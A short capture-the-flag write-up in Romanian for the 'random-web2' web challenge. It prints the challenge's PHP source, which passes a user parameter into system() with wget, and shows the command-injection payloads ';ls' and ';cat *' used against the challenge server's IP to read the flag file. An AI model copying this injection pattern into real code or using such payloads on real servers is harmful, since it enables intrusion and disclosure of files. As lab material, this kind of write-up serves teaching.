random-web2

Este continuarea la primul random-web1 asa ca ma din nou este de asteptat putin code review.Daca intram pe site din nou se observa endpointul de /?source unde se va afla codul sursa.

```php
<?php

error_reporting(0);
(isset($_GET['source']) AND show_source(__FILE__) AND die());

session_start();
$sb = './sb/' . md5(session_id()); #the sandbox
mkdir($sb, 0777, True);
chdir($sb);


if(isset($_REQUEST['p'])){

    $p = substr($_REQUEST['p'],0,6);

    system("wget -qO - " . $p);

}



?>

<!-- /?source -->
```

Din nou se observa ca avem nevoie sa setam parametrul ‘p’ in url doar ca de data asta avem un blaklist le lungime a payloadului.Daca aplicam ls o sa mearga usor

http://34.159.151.77:30476/?p=;ls

Primim ca response : flag.php index.php

Acum doar dam cat dar nu putem sa scriem tot fisierul dam cat la toate fisierele din director:

Payload final:http://34.159.151.77:30476/?p=;cat%20* (%20 fiind url

encoded spatiu) Flagul fiind in codul sursa:

CTF{fc81554fa89fdbb….f69bcdf2b4f00b10df}

Trolled by masquerade8077